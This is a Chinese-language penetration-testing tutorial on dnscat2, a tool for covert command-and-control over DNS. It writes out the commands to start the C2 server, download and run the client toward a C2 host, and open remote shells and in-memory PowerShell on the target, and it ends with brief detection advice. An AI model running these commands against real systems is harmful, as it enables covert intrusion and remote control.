导语:即使在一些限制非常严格的环境下,DNS协议还是允许处理内部和外部的通讯的。所以通过dns就可以建立起目标主机和命令&控制服务器之间的通讯。
即使在一些限制非常严格的环境下,DNS协议还是允许处理内部和外部的通讯的。所以通过dns就可以建立起目标主机和命令&控制服务器之间的通讯。由于命令和数据包都是在合法的dns查询中传输的,所以很不容易被检测到。
Dnscat2是可以实现这一技术的,它可以通过dns协议创建一个命令和控制信道。这一工具使用基于C语言编写的客户端(种植体),客户端在目标机器执行,进而与服务端建立通信。通信过程中流量是进行加密传输的,并且通过预先共享的密钥进行认证。
在kali2.0中安装这一工具可以通过以下命令:
git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ bundle install
命令以及控制服务器可以通过下面命令进行初始化:
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache
适用于windows的客户端已经编译好,你可以从https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip下载。下载完之后,只需运行一条于C&C服务端进行连接的命令:
dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169
在C&C服务端,红队就可以进行会话交互:
session -i 1
通过执行“help”命令会列出所有可执行的命令:
dnscat2的一些命令是可以上传和下载文件的,并且可以通过执行其他程序得到一个远程shell。
或者可以使用“shell“命令会打开另外一个会话。
以下输出会在目标机器的命令行中显示:
shell是交互式的,而且全部是通过dns进行传输的,速度而且很快。
通过调用exec命令可以远程打开程序:
exec notepad.exe
Luke Baggett 已经开发出powershell版本的客户端,并且已经在blackhillsinfosec网站中进行了介绍,这一版本的客户端的命令和已经编译好的客户端命令是相同的,不过他还添加了一些其他功能,比如交互式的powershell会话以及可以在内存中执行任何程序。
以下命令就是在目标机器执行powershell版本客户端:
PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169
还可以通过以下命令直接建立powershell会话:
exec psh
这样会创建一个新的控制台,可以执行PowerShell命令和脚本:
结论
dnscat2通过DNS进行控制和执行命令有很多优点,比如:
1.支持多个会话 2.流量加密 3.通过使用密钥防止MiTM攻击 4.从内存中直接执行powershell脚本 5.隐蔽的
检测这样的攻击是非常困难的,因为任意命令是通过合法的DNS流量进行传输的,所以应该强调监控DNS查询的长度,并允许主机只与受信任的DNS服务器进行通信。